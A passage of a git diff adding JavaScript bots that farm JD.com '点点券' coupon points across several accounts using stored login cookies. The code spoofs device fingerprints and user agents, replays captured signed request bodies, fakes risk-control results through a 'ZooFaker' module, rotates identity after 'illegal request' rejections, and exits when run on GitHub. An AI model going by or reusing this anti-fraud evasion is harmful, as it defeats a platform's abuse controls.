`area=16_1332_42932_43102&body=%7B%22shshshfpb%22%3A%22hRRVbEkLST%2BoqUB6fhir%2BfMoJS814u0eqASGoy8xq0vV1m9X9zKoAVYtaZjcO4UsQaWNyUrMVkZK5HBZ5aJo5zQ%3D%3D%22%2C%22globalLng%22%3A%22118.541458%22%2C%22globalLat%22%3A%2224.609455%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49440185204448%22%2C%22taskId%22%3A%22necklace_281%22%2C%22lng%22%3A%22118.1448096802756%22%2C%22eid%22%3A%22eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm%5C/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone12%2C1&eid=eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY&isBackground=N&joycious=51&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=6bf1da7e3c218998ae5bd34a5b9b0d5c&st=1627088377408&sv=122&uemps=0-1&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJPuQXd3Iw2YAKsnsGHXGtpI6DTtbcnaz7p7QeCmsoL2Cl/BMWopi0bEL/HBdhfK3iH/oMP6POfCzGYqGUp9HjUx/7lG%2BGpzuUJ%2B7ZrAQF4UMuG2/9epLOLCkpw4w6EgF4FqamAtXxTBCJZ82M%2Bkm26wJx996BKm7JCzdQfT6pJ0aFbovPOlp71A%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` + } + if (type === '4') { + // https://h5.m.jd.com/babelDiy/Zeus/2fDwtAwAQX1PJh51f3UXzLhKiD86/index.html + console.log('需等待30秒') + functionId = 'reportSinkTask' + body = `&appid=XPMSGC2019&monitorSource=&uuid=16245525345801334814959&body=%7B%22platformType%22%3A%221%22%2C%22taskId%22%3A%22necklace_${id}%22%7D&client=m&clientVersion=4.6.0&area=16_1315_1316_59175&geo=%5Bobject%20Object%5D` + await $.wait(15000); + } else { + // https://h5.m.jd.com/babelDiy/Zeus/3TcqzbLKXwyiGDzrn5nKV7sSEC8N/index.html + console.log('需等待15秒') + functionId = 'reportCcTask' + } + await $.wait(1600); + await getCcTaskList(functionId, body, type); +} +function getCcTaskList(functionId, body, type = '3') { + let url = `https://api.m.jd.com/client.action?functionId=${functionId}` + return new Promise(resolve => { + if (functionId === 'getCcTaskList') { + + } + if (functionId === 'reportCcTask'){ + + } + if (functionId === 'reportSinkTask'){ + url += body + body = '' + } + // if (type === '4' && functionId === 'reportCcTask'){ + // url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622193986049&sign=f5abd9fd7b9b8abaa25b34088f9e8a54&sv=102` + // body = `body=${escape(JSON.stringify(body))}` + // } + const options = { + url, + body, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Length": "63", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Cookie": cookie+`joyytoken=${"50082" + $.joyytoken};`, + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html", + "User-Agent": $.UA, + } + } + $.post((options), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + if (type === '3' && functionId === 'reportCcTask') console.log(`点击首页领券图标(进入领券中心浏览15s)任务:${data}`) + if (type === '4' && functionId === 'reportSinkTask') console.log(`点击“券后9.9”任务:${data}`) + // data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskPostUrl(function_id, body = {}) { + const time = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=coupon-necklace&loginType=2&client=coupon-necklace&t=${Date.now()}`, + body:`body=${escape(JSON.stringify(body))}`, + headers: { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://h5.m.jd.com', + 'accept-language': 'zh-cn', + 'User-Agent': $.UA, + 'referer': 'https://h5.m.jd.com/', + 'cookie': cookie+`joyytoken=${"50082" + $.joyytoken};` + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + $.UUID = $.UA.split(';') && $.UA.split(';')[4] || '' + $.appBuild = $.UA.match(/appBuild\/(\d+);/) && $.UA.match(/appBuild\/(\d+);/)[1] || '' + $.model = $.UA.match(/model\/([^;.]+)/) && $.UA.match(/model\/([^;.]+)/)[1] || '' + $.joyytoken = '' +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_necklace_new.js b/backUp/jd_necklace_new.js new file mode 100644 index 0000000..493696a --- /dev/null +++ b/backUp/jd_necklace_new.js @@ -0,0 +1,519 @@ +/* +点点券,可以兑换无门槛红包(1元,5元,10元,100元,部分红包需抢购) +Last Modified time: 2021-05-28 17:27:14 +活动入口:京东APP-领券中心/券后9.9-领点点券 [活动地址](https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html) +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===============Quantumultx=============== +[task_local] +#点点券 +20 0,20 * * * jd_necklace.js, tag=点点券, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + + */ +const $ = new Env('点点券二代目'); +const ZooFaker=require('./ZooFaker_Necklace.js').utils; +let allMessage = ``; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const openUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html%22%20%7D` + +$.UA = ``; +$.UUID = ``; +$.joyytoken_count = 1 +getUA() +let message = ''; +let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log(`\n通知:[非法请求] 可以等5分钟左右再次执行脚本\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + errorMsgLllegal = 0 + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + await jd_necklace(); + // break + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: openUrl }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jd_necklace() { + try { + await necklace_homePage(); + await $.wait(2000) + await doTask(); + await $.wait(2000) + await sign(); + await $.wait(2000) + await necklace_homePage(); + await receiveBubbles(); + await necklace_homePage(); + // // await necklace_exchangeGift($.totalScore);//自动兑换多少钱的无门槛红包,1000代表1元,默认兑换全部点点券 + await showMsg(); + await $.wait(2000) + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(async resolve => { + $.msg($.name, '', `京东账号${$.index} ${$.nickName || $.UserName}\n${(errorMsgLllegal > 0 && "当前有"+errorMsgLllegal+"个[非法请求]任务\n") || ""}当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击弹窗即可去兑换(注:此红包具有时效性)`, { 'open-url': openUrl}); + // 云端大于10元无门槛红包时进行通知推送 + // if ($.isNode() && $.totalScore >= 20000 && nowTimes.getHours() >= 20) await notify.sendNotify(`${$.name} - 京东账号${$.index}`, `京东账号${$.index}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击链接即可去兑换(注:此红包具有时效性)\n↓↓↓ \n\n ${openUrl} \n\n ↑↑↑`, { url: openUrl }) + if ($.isNode() && (nowTimes.getHours() >= 20 || errorMsgLllegal > 0) && (process.env.DDQ_NOTIFY_CONTROL ? process.env.DDQ_NOTIFY_CONTROL === 'false' : !!1)) { + allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n${(errorMsgLllegal > 0 && "当前有"+errorMsgLllegal+"个[非法请求]任务\n") || ""}当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n(京东APP->领券->左上角点点券.注:此红包具有时效性)${$.index !== cookiesArr.length ? '\n\n' : `\n↓↓↓ \n\n "https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html" \n\n ↑↑↑`}` + } + resolve() + }) +} +async function doTask() { + for (let item of $.taskConfigVos) { + if (item.taskStage === 0) { + console.log(`【${item.taskName}】 任务未领取,开始领取此任务`); + let res = await necklace_startTask(item.id); + if(res && res.rtn_code == 0){ + console.log(`【${item.taskName}】 任务领取成功,开始完成此任务`); + await $.wait(2000); + await reportTask(item); + await $.wait(2000) + } + } else if (item.taskStage === 2) { + console.log(`【${item.taskName}】 任务已做完,奖励未领取`); + } else if (item.taskStage === 3) { + console.log(`${item.taskName}奖励已领取`); + } else if (item.taskStage === 1) { + console.log(`\n【${item.taskName}】 任务已领取但未完成,开始完成此任务`); + await reportTask(item); + await $.wait(2000) + } + } +} +async function receiveBubbles() { + for (let item of $.bubbles) { + console.log(`\n开始领取点点券`); + await necklace_chargeScores(item.id) + await $.wait(2000) + } +} +async function sign() { + if ($.signInfo && $.signInfo.todayCurrentSceneSignStatus === 1) { + console.log(`\n开始每日签到`) + await necklace_sign(); + } else if($.signInfo) { + console.log(`当前${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}已签到`) + } +} +async function reportTask(item = {}) { + //普通任务 + if (item['taskType'] === 2) await necklace_startTask(item.id, 'necklace_reportTask'); + //逛很多商品店铺等等任务 + if (item['taskType'] === 6 || item['taskType'] === 8 || item['taskType'] === 5 || item['taskType'] === 9) { + //浏览精选活动任务 + await necklace_getTask(item.id); + $.taskItems = $.taskItems.filter(value => !!value && value['status'] === 0); + for (let vo of $.taskItems) { + console.log(`浏览精选活动 【${vo['title']}】`); + await necklace_startTask(item.id, 'necklace_reportTask', vo['id']); + } + } + //首页浏览XX秒的任务 + // console.log(item) + if (item['taskType'] === 3) await doAppTask('3', item.id); + if (item['taskType'] === 4) await doAppTask('4', item.id); +} +//每日签到福利 +function necklace_sign() { + return new Promise(async resolve => { + $.action = 'sign' + const body=await ZooFaker.get_risk_result($) + // const body = { + // currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + // } + $.post(taskPostUrl("necklace_sign", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + console.log(`签到成功,时间:${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}`) + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + } else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ + console.log(`每日签到失败:${data.rtn_msg}\n`) + errorMsgLllegal += 1 + getUA() + } else { + console.log(`每日签到失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//兑换无门槛红包 +function necklace_exchangeGift(scoreNums) { + return new Promise(resolve => { + const body = { + scoreNums, + "giftConfigId": 31, + currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + } + $.post(taskPostUrl("necklace_exchangeGift", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + const { result } = data.data; + message += `${result.redpacketTitle}:${result.redpacketAmount}元兑换成功\n`; + message += `红包有效期:${new Date(result.endTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false})}`; + console.log(message) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//领取奖励 +function necklace_chargeScores(bubleId) { + return new Promise(async resolve => { + $.id = bubleId + $.action = 'chargeScores' + const body=await ZooFaker.get_risk_result($); + // const body = { + // bubleId, + // currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + // } + $.post(taskPostUrl("necklace_chargeScores", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + } else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ + console.log(`领取奖励失败:${data.rtn_msg}\n`) + errorMsgLllegal += 1 + getUA() + }else{ + console.log(`领取奖励失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function necklace_startTask(taskId, functionId = 'necklace_startTask', itemId = "") { + return new Promise(async resolve => { + let body = { + taskId, + currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + } + if(functionId == 'necklace_startTask'){ + $.id = taskId + $.action = 'startTask' + body=await ZooFaker.get_risk_result($) + }else{ + if (itemId) body['itemId'] = itemId; + } + $.post(taskPostUrl(functionId, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`${functionId === 'necklace_startTask' ? '领取任务结果' : '做任务结果'}:${data}`); + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + }else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ + console.log(`${functionId === 'necklace_startTask' ? '领取任务失败' : '做任务结果'}:${data.rtn_msg}\n`) + errorMsgLllegal += 1 + getUA() + }else{ + console.log(`${functionId === 'necklace_startTask' ? '领取任务失败' : '做任务结果'}:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function necklace_getTask(taskId) { + return new Promise(resolve => { + const body = { + taskId, + currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + } + $.taskItems = []; + $.post(taskPostUrl("necklace_getTask", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + $.taskItems = data.data.result && data.data.result.taskItems; + } + }else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ + console.log(`浏览精选活动失败:${data.rtn_msg}\n`) + errorMsgLllegal += 1 + getUA() + }else{ + console.log(`浏览精选活动失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function necklace_homePage() { + $.taskConfigVos = []; + $.bubbles = []; + $.signInfo = {}; + return new Promise(resolve => { + $.post(taskPostUrl('necklace_homePage'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + $.taskConfigVos = data.data.result.taskConfigVos; + $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + $.lastRequestTime = data.data.result.lastRequestTime; + $.bubbles = data.data.result.bubbles; + $.signInfo = data.data.result.signInfo; + $.totalScore = data.data.result.totalScore; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function doAppTask(type = '3', id) { + console.log(id) + let functionId = 'getCcTaskList' + let body = "area=16_1315_3486_59648&body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22lat%22%3A%2224.49441271645999%22%2C%22globalLat%22%3A%2224.49335%22%2C%22lng%22%3A%22118.1447713674174%22%2C%22globalLng%22%3A%22118.1423%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=75afd018b5751e9ac4cba0b51b8adb3c&st=1624535152771&sv=101&uemps=0-0&uts=0f31TVRjBStsz%2BC9YKuTtbGZPv/xrvQQdSUKvavez1nEbzXO4dLo%2BXEvUHAXAd0VPmZqkUNAf2yO/fBM7ImhPYnyBrotzw06Kk7qP6mG42fhA1t5BkW3ZGLaQgPtiuosYOHPMyHpg%2BJ9ZQBP4g3zsSFq2DUWsTOZbb85I4ThMCgqvymyLl48ebUg7aQTle9CfTJVWu5gx0YZ/ScklgN9Pg%3D%3D&u